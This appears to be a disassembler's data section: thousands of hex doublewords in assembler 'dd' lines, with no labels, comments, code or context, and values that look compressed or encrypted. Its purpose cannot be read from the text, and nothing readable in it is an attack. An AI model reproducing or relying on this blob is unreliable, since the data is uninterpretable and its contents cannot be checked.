dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h
dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch
dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh
dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h
dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h
dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h
dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h
dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h
dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch
dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h
dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh
dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h
dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h
dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh
dd 582D8921h, 0E0B4F5FAh
dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h
dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh
dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h
dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h
dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh
dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh
dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h
dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah
dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch
dd 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h
dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h
dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h
dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah
dd 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h
dd 4C0EC49h, 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h
dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h
dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h
dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h
dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h
dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h
dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h
dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h
dd 95DF140h, 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh
dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh
dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h
dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h
dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh
dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh
dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h
dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h
dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h
dd 0C8C50C17h, 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h
dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h
dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh
dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h
dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh
dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh
dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh
dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh
dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h
dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch
dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch
dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh
dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h
dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h
dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h
dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h
dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h
dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h
dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h
dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh
dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch
dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h
dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h
dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h
dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h
dd 1DB89D00h, 15F09ECDh
dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h
dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh
dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h
dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h
dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh
dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h
dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah
dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h
dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h
dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch
dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah
dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h
dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h
dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h
dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h
dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h
dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh
dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h
dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h
dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h
dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch
dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h
dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh
dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h
dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh
dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h
dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h
dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h
dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h
dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h
dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h
dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh
dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h
dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh
dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh
dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah
dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h
dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch
dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h
dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h
dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h
dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh
dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h
dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h
dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h
dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h
dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh
dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch
dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh
dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah
dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h
dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h
dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h
dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h
dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h
dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h
dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h
dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh
dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh
dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h
dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh
dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h
dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h
dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh
dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h
dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h
dd 0BB2624A3h, 0F47C76F0h
dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh
dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h
dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h
dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h
dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h
dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h
dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h
dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h
dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h
dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh
dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h
dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h
dd 10060h, 3C640000h, 8590000h, 5CC1F45Ch, 823B47DDh, 0CDA544FCh
dd 0F7D7243Ah, 0BE8D6916h, 0C98F30F6h, 0B9659FBFh, 83AE2A40h
dd 2E6573F5h, 0B11C1A6Eh, 233D17C5h, 811B9809h, 1CA9178Ah
dd 0C320DEE8h, 0D9BD4304h, 0EA6BC182h, 93A6CA91h, 4C023C31h
dd 49C2CB52h, 794C268Ch, 0CA606FB2h, 3F185120h, 0D9481F37h
dd 0BC057A4Fh, 0C7F8D181h, 0C7C1178Eh, 801B4BB3h, 2B87D5CBh
dd 0BBBACE71h, 0E3ED7A6Ah, 6DCE4824h, 359F5876h, 7F6DACFAh
dd 76D55207h, 9BE15D6Fh, 29DB91DCh, 364829E4h, 57D438ECh
dd 5A6641AEh, 7ED64765h, 80B94BEAh, 1B313B5Ch, 0E138D641h
dd 6097DADCh, 0D60CADCDh, 0A280B380h, 0B77C1C69h, 43145EEFh
dd 33568473h, 2E136F4Bh, 870126A1h, 6DC9B788h, 2FBDE64Dh
dd 0EF6C4FAh, 8D5A60BAh, 790F330Ah, 564DF357h, 7F72852Ah
dd 0F082A6FDh, 1CA38071h, 0C79FD279h, 0EEE6F220h, 468E74C7h
dd 0ED71E601h, 0E89C7AC9h, 32BDFB63h, 68013A21h, 3CEF20Fh
dd 709491Ah, 91A04105h, 7486E0D6h, 0FBC5D1E6h, 0C98A989Ch
dd 0C5DEF1h, 0E620318h, 26E52A3h, 0C54C7427h, 70B0C0B4h
dd 62EBC17Bh, 575E0DDFh, 43233BE2h, 0CB1FDF94h, 4C195C0Dh
dd 0CB9ED0Fh, 48B371A2h, 0A121E03Ch, 0BB0A4D5Ah, 4CB1E957h
dd 9B8829D2h, 35FCF69Dh, 8E530AE8h, 5A12234Bh, 212BD950h
dd 744E1F29h, 0EDC60F31h, 0AEC3C1E3h, 0AA967F25h, 5396C6E9h
dd 0DA085FF6h, 0C7B132F0h, 9414D75h, 1140AB95h, 36CB2DEBh
dd 65863DEFh, 0AE4CBB9Eh, 673BAA19h, 0C101617Ah, 785C104Ch
dd 683681C6h, 0B369F49Ah, 0D72F4D1Fh, 72078429h, 7517092Fh
